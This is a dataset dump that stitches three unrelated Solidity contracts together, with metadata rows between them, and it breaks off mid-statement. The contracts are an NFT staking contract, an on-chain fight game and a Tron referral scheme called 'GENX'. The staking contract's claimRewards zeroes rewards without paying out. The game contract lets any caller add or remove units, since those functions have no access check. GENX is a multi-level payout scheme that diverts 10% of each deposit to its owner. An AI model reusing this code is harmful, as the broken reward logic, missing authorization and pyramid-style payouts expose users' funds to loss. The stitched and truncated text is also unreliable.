// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); } interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } contract LiquidLabs is Ownable, ReentrancyGuard { // Interfaces for ERC20 and ERC721 IERC721 public immutable nftCollection = IERC721(0x17964F857045b2Df8173d5cf96501E1087fb101A); // Staker info struct Staker { // Amount of ERC721 Tokens staked uint256 amountStaked; // Last time of details update for this User uint256 timeOfLastUpdate; // Calculated, but unclaimed rewards for the User. The rewards are // calculated each time the user writes to the Smart Contract uint256 unclaimedRewards; } // Rewards per hour per token deposited in wei. // Rewards are cumulated once every hour. uint256 private rewardsPerHour = 100000; // Mapping of User Address to Staker info mapping(address => Staker) public stakers; // Mapping of Token Id to staker. Made for the SC to remeber // who to send back the ERC721 Token to. mapping(uint256 => address) public stakerAddress; address[] public stakersArray; // Constructor function //constructor(IERC721 _nftCollection) { //nftCollection = _nftCollection; //} // If address already has ERC721 Token/s staked, calculate the rewards. // For every new Token Id in param transferFrom user to this Smart Contract, // increment the amountStaked and map msg.sender to the Token Id of the staked // Token to later send back on withdrawal. Finally give timeOfLastUpdate the // value of now. function stake(uint256 _tokenId) external nonReentrant { if (stakers[msg.sender].amountStaked > 0) { uint256 rewards = calculateRewards(msg.sender); stakers[msg.sender].unclaimedRewards += rewards; } else { stakersArray.push(msg.sender); } require(nftCollection.ownerOf(_tokenId) == msg.sender, "Can't stake tokens you don't own!"); nftCollection.transferFrom(msg.sender, address(this), _tokenId); stakerAddress[_tokenId] = msg.sender; stakers[msg.sender].amountStaked += 1; stakers[msg.sender].timeOfLastUpdate = block.timestamp; } // Check if user has any ERC721 Tokens Staked and if he tried to withdraw, // calculate the rewards and store them in the unclaimedRewards and for each // ERC721 Token in param: check if msg.sender is the original staker, decrement // the amountStaked of the user and transfer the ERC721 token back to them function withdraw(uint256 _tokenId) external nonReentrant { require(stakers[msg.sender].amountStaked > 0, "You have no tokens staked"); uint256 rewards = calculateRewards(msg.sender); stakers[msg.sender].unclaimedRewards += rewards; require(stakerAddress[_tokenId] == msg.sender); stakerAddress[_tokenId] = address(0); nftCollection.transferFrom(address(this), msg.sender, _tokenId); stakers[msg.sender].amountStaked -= 1; stakers[msg.sender].timeOfLastUpdate = block.timestamp; if (stakers[msg.sender].amountStaked == 0) { for (uint256 i; i < stakersArray.length; ++i) { if (stakersArray[i] == msg.sender) { stakersArray[i] = stakersArray[stakersArray.length - 1]; stakersArray.pop(); } } } } // Calculate rewards for the msg.sender, check if there are any rewards // claim, set unclaimedRewards to 0 and transfer the ERC20 Reward token // to the user. function claimRewards() external { uint256 rewards = calculateRewards(msg.sender) + stakers[msg.sender].unclaimedRewards; require(rewards > 0, "You have no rewards to claim"); stakers[msg.sender].timeOfLastUpdate = block.timestamp; stakers[msg.sender].unclaimedRewards = 0; //rewardsToken.safeTransfer(msg.sender, rewards); } // Set the rewardsPerHour variable // Because the rewards are calculated passively, the owner has to first update the rewards // to all the stakers, witch could result in very heavy load and expensive transactions or // even reverting due to reaching the gas limit per block. Redesign incoming to bound loop. function setRewardsPerHour(uint256 _newValue) public onlyOwner { address[] memory _stakers = stakersArray; uint256 len = _stakers.length; for (uint256 i; i < len; ++i) { address user = _stakers[i]; stakers[user].unclaimedRewards += calculateRewards(user); stakers[msg.sender].timeOfLastUpdate = block.timestamp; } rewardsPerHour = _newValue; } ////////// // View // ////////// function userStakeInfo(address _user) public view returns (uint256 _tokensStaked, uint256 _availableRewards) { return (stakers[_user].amountStaked, availableRewards(_user)); } function availableRewards(address _user) internal view returns (uint256) { if (stakers[_user].amountStaked == 0) { return stakers[_user].unclaimedRewards; } uint256 _rewards = stakers[_user].unclaimedRewards + calculateRewards(_user); return _rewards; } ///////////// // Internal// ///////////// // Calculate rewards for param _staker by calculating the time passed // since last update in hours and mulitplying it to ERC721 Tokens Staked // and rewardsPerHour. function calculateRewards(address _staker) internal view returns (uint256 _rewards) { Staker memory staker = stakers[_staker]; return (((((block.timestamp - staker.timeOfLastUpdate) * staker.amountStaked)) * rewardsPerHour) / 3600); } }
124,081
12,065
be2269dbb7d0a66b0be3b710e015b1f4b7961947b9ff04143919f5d3a59747a9
18,175
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/bc/bc147e5c626570e81748d424b20175511e48dfa6_TerritoryUnitGameStatePredictionComponent.sol
4,199
16,954
// SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.11; library ModularArray { // use underlying element (type value of "element" can be change to use address or bytes for exemple) struct UnderlyingElement { uint element; uint index; bool init; uint last; uint next; } // create a modular array struct ModularArrayStruct { mapping (uint => UnderlyingElement) array; mapping (uint => uint) associatedIndexFromElement; uint firstIndex; uint nbIndex; uint totalElementsNumber; } // add any element just after an index (0: last index "_index", 1: new index with "_element" value) function addAfterIndex(ModularArrayStruct storage _array, uint _index, uint _element) internal returns (uint) { uint _nbIndex = _array.nbIndex; _array.associatedIndexFromElement[_element] = _nbIndex; if (_array.totalElementsNumber > 0) { require(_array.array[_index].init == true, "Wrong indexing matching"); UnderlyingElement storage lastElement = _array.array[_index]; UnderlyingElement storage nextElement = _array.array[lastElement.next]; _array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, lastElement.index, nextElement.index); lastElement.next = _nbIndex; nextElement.last = _nbIndex; } else { _array.firstIndex = _nbIndex; _array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, 0, 0); } _array.nbIndex++; _array.totalElementsNumber++; return _nbIndex; } // /!/ EVERY ELEMENTS MUST BE DIFFERENT (like unique index) function addAfterElement(ModularArrayStruct storage _array, uint _elementIndex, uint _element) internal returns (uint) { return addAfterIndex(_array, _array.associatedIndexFromElement[_elementIndex], _element); } // add any element just before an index (0: last index "_index", 1: new index with "_element" value) function addBeforeIndex(ModularArrayStruct storage _array, uint _index, uint _element) internal returns (uint) { uint _nbIndex = _array.nbIndex; _array.associatedIndexFromElement[_element] = _nbIndex; if (_array.totalElementsNumber > 0) { require(_array.array[_index].init == true, "Wrong indexing matching"); UnderlyingElement storage nextElement = _array.array[_index]; UnderlyingElement storage lastElement = _array.array[nextElement.last]; if (_array.firstIndex == _index) { _array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, 0, nextElement.index); _array.firstIndex = _nbIndex; nextElement.last = _nbIndex; } else { _array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, lastElement.index, nextElement.index); lastElement.next = _nbIndex; nextElement.last = _nbIndex; } } else { _array.firstIndex = _nbIndex; _array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, 0, 0); } _array.nbIndex++; _array.totalElementsNumber++; return _nbIndex; } // /!/ EVERY ELEMENTS MUST BE DIFFERENT (like unique index) function addBeforeElement(ModularArrayStruct storage _array, uint _elementIndex, uint _element) internal returns (uint) { return addBeforeIndex(_array, _array.associatedIndexFromElement[_elementIndex], _element); } // remove an element by its index function removeFromIndex(ModularArrayStruct storage _array, uint _index) internal { require(_array.array[_index].init == true, "Wrong indexing matching"); require(_array.totalElementsNumber > 0, "Can't remove non existent indexes"); UnderlyingElement storage element = _array.array[_index]; UnderlyingElement storage lastElement = _array.array[element.last]; UnderlyingElement storage nextElement = _array.array[element.next]; _array.associatedIndexFromElement[element.element] = 0; if (_array.firstIndex == _index) { _array.firstIndex = element.next; lastElement.last = 0; } else { lastElement.next = nextElement.index; nextElement.last = lastElement.index; } _array.totalElementsNumber--; element.index = 0; element.init = false; } // /!/ EVERY ELEMENTS MUST BE DIFFERENT (like unique index) function removeFromElement(ModularArrayStruct storage _array, uint _element) internal { removeFromIndex(_array, _array.associatedIndexFromElement[_element]); } // return the whole array // - "_excludedIndex" = -1 to not exclude index function getWholeArray(ModularArrayStruct storage _array) internal view returns (uint[] memory) { uint[] memory _fullArray = new uint[](_array.totalElementsNumber); UnderlyingElement memory _currentElement = _array.array[_array.firstIndex]; for (uint i=0; i < _array.totalElementsNumber; i++) { _fullArray[i] = _currentElement.element; _currentElement = _array.array[_currentElement.next]; } return _fullArray; } function getElementIndex(ModularArrayStruct storage _array, uint _element) internal view returns (uint) { uint[] memory array = getWholeArray(_array); for (uint i=0; i < array.length; i++) { if (array[i] == _element) return i; } return 0; } function resetArray(ModularArrayStruct storage _array) internal { _array.totalElementsNumber = 0; } } interface IWarfareUnit { function ownerOf(uint) external view returns (address); } contract TerritoryUnitGameStatePredictionComponent { using ModularArray for ModularArray.ModularArrayStruct; // basic structur to store all important information about attackers necessary to make calculations struct Attacker { uint fightEntry; uint lp; uint dmg; uint predictedDeathTime; uint killedByUniqueId; } uint uniqueId = 1; mapping (uint => uint) public firstFightEntry; // first fight entry timestamp for every pools id mapping (uint => uint) public currentAttackersNumber; // current attackers number (in terms of different players, not units) for every pools id uint public MAX_UNITS_PER_OWNER = 15; uint public MAX_ATTACKERS_OWNERS = 20; // max number of different attackers owners in a single fight mapping (uint => Attacker) public attackersIndex; // associate unique id to each attackers to handle them easily mapping (address => mapping (uint => uint)) public referenceTreeAttackers; mapping (uint => uint) public poolIdReference; // reference each unique id to its current pool; mapping (uint => mapping (address => uint)) public deployedUnitPerAddress; // different attackers (non packed) amount in a single fight for each address and for each pool id mapping (uint => mapping (uint => uint)) public elementIndex; mapping (uint => ModularArray.ModularArrayStruct) public attackers; // attackers list sorted by their fight entry (first entry <=> first index) for each pool id mapping (uint => uint) public lastDeathTime; // last death time for each pool mapping (uint => uint) public finalPoolPossesor; uint private DECIMALS = 10000; constructor () { _addAttacker(0, address(0), 0, 0, 100, 2); _addAttacker(0, address(0), 0, 100, 1000, 20); _addAttacker(0, address(0), 0, 200, 150, 3); } function _addAttacker(uint _poolId, address _contractReference, uint _tokenIdReference, uint _fightEntry, uint _lp, uint _dmg) public returns (uint) { require(deployedUnitPerAddress[_poolId][msg.sender] + 1 <= MAX_UNITS_PER_OWNER, "max unit number reached"); require(currentAttackersNumber[_poolId] + 1 <= MAX_ATTACKERS_OWNERS, "max commanders in this fight reached"); // set the new Attacker object created from the input datas attackersIndex[uniqueId] = Attacker(_fightEntry, _lp, _dmg, 0, 0); if (currentAttackersNumber[_poolId] > 0) { // retreive the index and set at the rigth place the new element (in croissant fight entry order) (bool _addAfterElement, uint _element) = getFightEntryElement(_fightEntry, _poolId); if (_addAfterElement) attackers[_poolId].addAfterElement(_element, uniqueId); else attackers[_poolId].addBeforeElement(_element, uniqueId); } else { finalPoolPossesor[_poolId] = uniqueId; } // set the first timestamp fight entry if (firstFightEntry[_poolId] > _fightEntry || firstFightEntry[_poolId] == 0) firstFightEntry[_poolId] = _fightEntry; // set the reference of the attacker linked to its nft contract address and token id reference referenceTreeAttackers[_contractReference][_tokenIdReference] = uniqueId; poolIdReference[uniqueId] = _poolId; uniqueId++; deployedUnitPerAddress[_poolId][msg.sender]++; currentAttackersNumber[_poolId]++; return uniqueId-1; } function _removeAttacker(uint _poolId, address _contractReference, uint _tokenIdReference) public { require(getPoolId(_contractReference,_tokenIdReference) == _poolId, "wrong pool"); uint _uniqueId = referenceTreeAttackers[_contractReference][_tokenIdReference]; attackers[_poolId].removeFromElement(_uniqueId); // reset values .. referenceTreeAttackers[_contractReference][_tokenIdReference] = 0; deployedUnitPerAddress[_poolId][msg.sender]--; currentAttackersNumber[_poolId]--; poolIdReference[_uniqueId] = 0; } function getWinningUnitFromTimestamp(uint _poolId, uint _timestamp) public view returns (uint) { uint[] memory _areaFightPools = attackers[_poolId].getWholeArray(); uint lastIndex; uint lastTimestamp; for (uint n=0; n < _areaFightPools.length; n++) { if (attackersIndex[_areaFightPools[n]].predictedDeathTime > lastTimestamp && attackersIndex[_areaFightPools[n]].predictedDeathTime <= _timestamp) { lastTimestamp = attackersIndex[_areaFightPools[n]].predictedDeathTime; lastIndex = _areaFightPools[n]; } } if (lastTimestamp == 0) { return finalPoolPossesor[_poolId]; } else { return attackersIndex[lastIndex].killedByUniqueId; } } function updateAttackerPool(uint _poolId) internal { uint[] memory _areaFightPools = attackers[_poolId].getWholeArray(); uint _firstFightEntry; for (uint i=0; i < _areaFightPools.length; i++) { // if he is already dead if (attackersIndex[_areaFightPools[i]].predictedDeathTime < block.timestamp && attackersIndex[_areaFightPools[i]].predictedDeathTime != 0) { attackers[_poolId].removeFromElement(_areaFightPools[i]); // else, update firstFightEntry if necessary } else { if (_firstFightEntry > attackersIndex[_areaFightPools[i]].fightEntry || _firstFightEntry == 0) firstFightEntry[_poolId] = attackersIndex[_areaFightPools[i]].fightEntry; } elementIndex[_poolId][_areaFightPools[i]] = i; } firstFightEntry[_poolId] = _firstFightEntry; } function get() public view returns (uint[] memory) { return attackers[0].getWholeArray(); } function _update(uint _poolId) public returns (uint) { uint[] memory _attackersUniqueIds = attackers[_poolId].getWholeArray(); uint[] memory _lps = _getLpsFromUniqueIds(_attackersUniqueIds); uint time; uint deathScoreA; uint deathScoreB; uint finalPoolPossesorLp = attackersIndex[finalPoolPossesor[_poolId]].lp; for (uint i=0; i < _attackersUniqueIds.length; i++) { deathScoreA = finalPoolPossesorLp / attackersIndex[_attackersUniqueIds[i]].dmg; deathScoreB = _lps[i] / attackersIndex[finalPoolPossesor[_poolId]].dmg; time = attackersIndex[_attackersUniqueIds[i]].fightEntry; if (deathScoreB > deathScoreA) { // Attacker B win attackersIndex[finalPoolPossesor[_poolId]].predictedDeathTime = time; // store the predicted death time value attackersIndex[finalPoolPossesor[_poolId]].killedByUniqueId = _attackersUniqueIds[i]; _lps[i] -= ((DECIMALS - ((deathScoreA * DECIMALS) / (deathScoreB * DECIMALS))) * _lps[i]) / DECIMALS; finalPoolPossesor[_poolId] = _attackersUniqueIds[i]; // update the final pool possesor (at this moment) finalPoolPossesorLp = _lps[i]; } else if (deathScoreB < deathScoreA) { // Attacker A win attackersIndex[_attackersUniqueIds[i]].predictedDeathTime = time; // store the predicted death time value attackersIndex[_attackersUniqueIds[i]].killedByUniqueId = finalPoolPossesor[_poolId]; finalPoolPossesorLp -= ((DECIMALS - ((deathScoreA * DECIMALS) / (deathScoreB * DECIMALS))) * finalPoolPossesorLp) / DECIMALS; } else { // both loose attackersIndex[finalPoolPossesor[_poolId]].predictedDeathTime = time; // store the predicted death time value attackersIndex[finalPoolPossesor[_poolId]].killedByUniqueId = _attackersUniqueIds[i]; attackersIndex[_attackersUniqueIds[i]].predictedDeathTime = time; // store the predicted death time value attackersIndex[_attackersUniqueIds[i]].killedByUniqueId = finalPoolPossesor[_poolId]; finalPoolPossesor[_poolId] = 0; // nobody got the pool finalPoolPossesorLp = 0; } if (time > lastDeathTime[_poolId]) { lastDeathTime[_poolId] = time; } } } function getFightEntryElement(uint _fightEntry, uint _poolId) public view returns (bool, uint) { uint[] memory _areaFightPools = attackers[_poolId].getWholeArray(); // not initialized, so the index doesn't matter if (_areaFightPools.length == 0) { return (true, 0); } for (uint i=0; i < _areaFightPools.length; i++) { if (i == 0 && attackersIndex[_areaFightPools[i]].fightEntry > _fightEntry) { // if the first element is higher than _fightEntry, we can place it directly as the first element return (false, _areaFightPools[i]); } if (i != (_areaFightPools.length - 1)) { // if we can have ("i+1") if (attackersIndex[_areaFightPools[i]].fightEntry <= _fightEntry && attackersIndex[_areaFightPools[i+1]].fightEntry >= _fightEntry) { return (true, _areaFightPools[i]); } } else { // else, this is the last index, place it "before the last if it's smaller than the last if (attackersIndex[_areaFightPools[i]].fightEntry >= _fightEntry) { return (false, _areaFightPools[i]); } } } // else, its index is the last index return (true, _areaFightPools[_areaFightPools.length-1]); } // return all "lp" value of a whole array function _getLpsFromUniqueIds(uint[] memory _attackersUniqueIds) public view returns (uint[] memory) { uint[] memory _lps = new uint[](_attackersUniqueIds.length); for (uint i=0; i < _attackersUniqueIds.length; i++) { _lps[i] = attackersIndex[_attackersUniqueIds[i]].lp; } return _lps; } function isDead(address _contractReference, uint _tokenIdReference, uint _timestamp) external view returns (bool) { uint _predictedDeathTime = attackersIndex[referenceTreeAttackers[_contractReference][_tokenIdReference]].predictedDeathTime; return (_predictedDeathTime < _timestamp); } function isFighting(address _contractReference, uint _tokenIdReference, uint _timestamp) external view returns (bool) { return (lastDeathTime[referenceTreeAttackers[_contractReference][_tokenIdReference]] != 0 && _timestamp < lastDeathTime[referenceTreeAttackers[_contractReference][_tokenIdReference]]); } // return 0 if this reference doesn't have death time (not initialized or won the fight) function getDeathTime(address _contractReference, uint _tokenIdReference) external view returns (uint) { return attackersIndex[referenceTreeAttackers[_contractReference][_tokenIdReference]].predictedDeathTime; } function getPoolId(address _contractReference, uint _tokenIdReference) public view returns (uint) { return poolIdReference[referenceTreeAttackers[_contractReference][_tokenIdReference]]; } }
111,674
12,066
3451adc9ac8958cd2179862b375a38e52931c622117c2add5cb094a0f5c73444
14,520
.sol
Solidity
false
453466497
tintinweb/smart-contract-sanctuary-tron
44b9f519dbeb8c3346807180c57db5337cf8779b
contracts/mainnet/TE/TEUjvut7LPvjwK9CqF3Htep8VQW2F6fXfA_GENX.sol
4,164
14,145
//SourceUnit: genx.sol pragma solidity 0.5.10; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "Overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "Should be greater than zero"); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "should be less than other"); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "Should be greater than c"); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "divide by 0"); return a % b; } } contract GENX { using SafeMath for uint256; struct User { uint256 cycle; address upline; uint256 referrals; uint256 payouts; uint256 pool_bonus; uint256 match_bonus; uint256 deposit_amount; uint256 deposit_payouts; uint40 deposit_time; uint256 total_deposits; uint256 total_payouts; uint256 total_structure; } struct Level { uint256 level1; uint256 level2; uint256 level3; uint256 level4; uint256 level5; uint256 level6; uint256 level7; uint256 level8; uint256 level9; uint256 level10; } address payable public owner; mapping(address => User) public users; mapping (address => Level) public usersLevel; uint256[] public cycles; uint256[] public ref_bonuses; uint8[] public pool_bonuses; uint40 public pool_last_draw = uint40(block.timestamp); uint256 public pool_cycle; uint256 public pool_balance; mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum; mapping(uint8 => address) public pool_top; uint256 public total_users = 1; uint256 public total_deposited; uint256 public total_withdraw; event Upline(address indexed addr, address indexed upline); event NewDeposit(address indexed addr, uint256 amount); event MatchPayout(address indexed addr, address indexed from, uint256 amount); event PoolPayout(address indexed addr, uint256 amount); event Withdraw(address indexed addr, uint256 amount); event LimitReached(address indexed addr, uint256 amount); event name(address indexed addr, uint256 amount); constructor() public { owner = msg.sender; ref_bonuses.push(800); ref_bonuses.push(400); ref_bonuses.push(200); ref_bonuses.push(100); for(uint256 i = 0; i < 46; i++) { ref_bonuses.push(25); } pool_bonuses.push(40); pool_bonuses.push(30); pool_bonuses.push(10); pool_bonuses.push(10); pool_bonuses.push(10); cycles.push(1e8); cycles.push(3e11); cycles.push(9e11); cycles.push(11e11); } function() payable external { _deposit(msg.sender, msg.value); } function _setUpline(address _addr, address _upline) private { if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].deposit_time > 0 || _upline == owner)) { users[_addr].upline = _upline; users[_upline].referrals++; emit Upline(_addr, _upline); total_users++; address _uplines = _upline; for(uint8 i = 0; i < ref_bonuses.length; i++) { if(_uplines == address(0)) break; users[_uplines].total_structure++; _uplines = users[_uplines].upline; } for (uint256 i = 0; i < 10; i++) { if (_upline != address(0)) { if (i == 0) { usersLevel[_upline].level1 = usersLevel[_upline].level1.add(1); } else if (i == 1) { usersLevel[_upline].level2 = usersLevel[_upline].level2.add(1); } else if (i == 2) { usersLevel[_upline].level3 = usersLevel[_upline].level3.add(1); } else if (i == 3) { usersLevel[_upline].level4 = usersLevel[_upline].level4.add(1); } else if (i == 4) { usersLevel[_upline].level5 = usersLevel[_upline].level5.add(1); } else if (i == 5) { usersLevel[_upline].level6 = usersLevel[_upline].level6.add(1); } else if (i == 6) { usersLevel[_upline].level7 = usersLevel[_upline].level7.add(1); } else if (i == 7) { usersLevel[_upline].level8 = usersLevel[_upline].level8.add(1); } else if (i == 8) { usersLevel[_upline].level9 = usersLevel[_upline].level9.add(1); } else if (i == 9) { usersLevel[_upline].level10 = usersLevel[_upline].level10.add(1); } _upline = users[_upline].upline; } else break; } } } function _deposit(address _addr, uint256 _amount) private { require(users[_addr].upline != address(0) || _addr == owner, "No upline"); if(users[_addr].deposit_time > 0) { users[_addr].cycle++; require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists"); require(_amount >= users[_addr].deposit_amount, "Bad amount"); require(_amount >= cycles[0] && (_amount%cycles[0])==0, "Bad amount"); } else require(_amount >= cycles[0] && (_amount%cycles[0]) == 0, "Bad amount"); users[_addr].payouts = 0; users[_addr].deposit_amount = _amount; users[_addr].deposit_payouts = 0; users[_addr].match_bonus = 0; users[_addr].deposit_time = uint40(block.timestamp); users[_addr].total_deposits += _amount; total_deposited += _amount; emit NewDeposit(_addr, _amount); _refPayout(msg.sender, _amount); _pollDeposits(_addr, _amount); if(pool_last_draw + 1 days < block.timestamp) { _drawPool(); } owner.transfer(_amount * 10 / 100); } function _pollDeposits(address _addr, uint256 _amount) private { pool_balance += _amount * 3 / 100; address upline = users[_addr].upline; if(upline == address(0)) return; pool_users_refs_deposits_sum[pool_cycle][upline] += _amount; for(uint8 i = 0; i < pool_bonuses.length; i++) { if(pool_top[i] == upline) break; if(pool_top[i] == address(0)) { pool_top[i] = upline; break; } if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) { for(uint8 j = i + 1; j < pool_bonuses.length; j++) { if(pool_top[j] == upline) { for(uint8 k = j; k <= pool_bonuses.length; k++) { pool_top[k] = pool_top[k + 1]; } break; } } for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) { pool_top[j] = pool_top[j - 1]; } pool_top[i] = upline; break; } } } function _refPayout(address _addr, uint256 _amount) private { address up = users[_addr].upline; for(uint8 i = 0; i < ref_bonuses.length; i++) { if(up == address(0)) break; if(i < 4 || users[up].referrals >= i) { uint256 bonus = _amount * ref_bonuses[i] / 10000; users[up].match_bonus += bonus; emit MatchPayout(up, _addr, bonus); } up = users[up].upline; } } function _drawPool() private { pool_last_draw = uint40(block.timestamp); pool_cycle++; uint256 draw_amount = pool_balance / 10; for(uint8 i = 0; i < pool_bonuses.length; i++) { if(pool_top[i] == address(0)) break; uint256 win = draw_amount * pool_bonuses[i] / 100; users[pool_top[i]].pool_bonus += win; pool_balance -= win; emit PoolPayout(pool_top[i], win); } for(uint8 i = 0; i < pool_bonuses.length; i++) { pool_top[i] = address(0); } } function deposit(address _upline) payable external { _setUpline(msg.sender, _upline); _deposit(msg.sender, msg.value); } function withdraw() external { (uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender); require(users[msg.sender].payouts < max_payout, "Full payouts"); // Deposit payout if(to_payout > 0) { if(users[msg.sender].payouts + to_payout > max_payout) { to_payout = max_payout - users[msg.sender].payouts; } users[msg.sender].deposit_payouts += to_payout; users[msg.sender].payouts += to_payout; } // Pool payout if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) { uint256 pool_bonus = users[msg.sender].pool_bonus; if(users[msg.sender].payouts + pool_bonus > max_payout) { pool_bonus = max_payout - users[msg.sender].payouts; } users[msg.sender].pool_bonus -= pool_bonus; users[msg.sender].payouts += pool_bonus; to_payout += pool_bonus; } // Match payout if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) { uint256 match_bonus = users[msg.sender].match_bonus; if(users[msg.sender].payouts + match_bonus > max_payout) { match_bonus = max_payout - users[msg.sender].payouts; } users[msg.sender].match_bonus -= match_bonus; users[msg.sender].payouts += match_bonus; to_payout += match_bonus; } require(to_payout > 0, "Zero payout"); users[msg.sender].total_payouts += 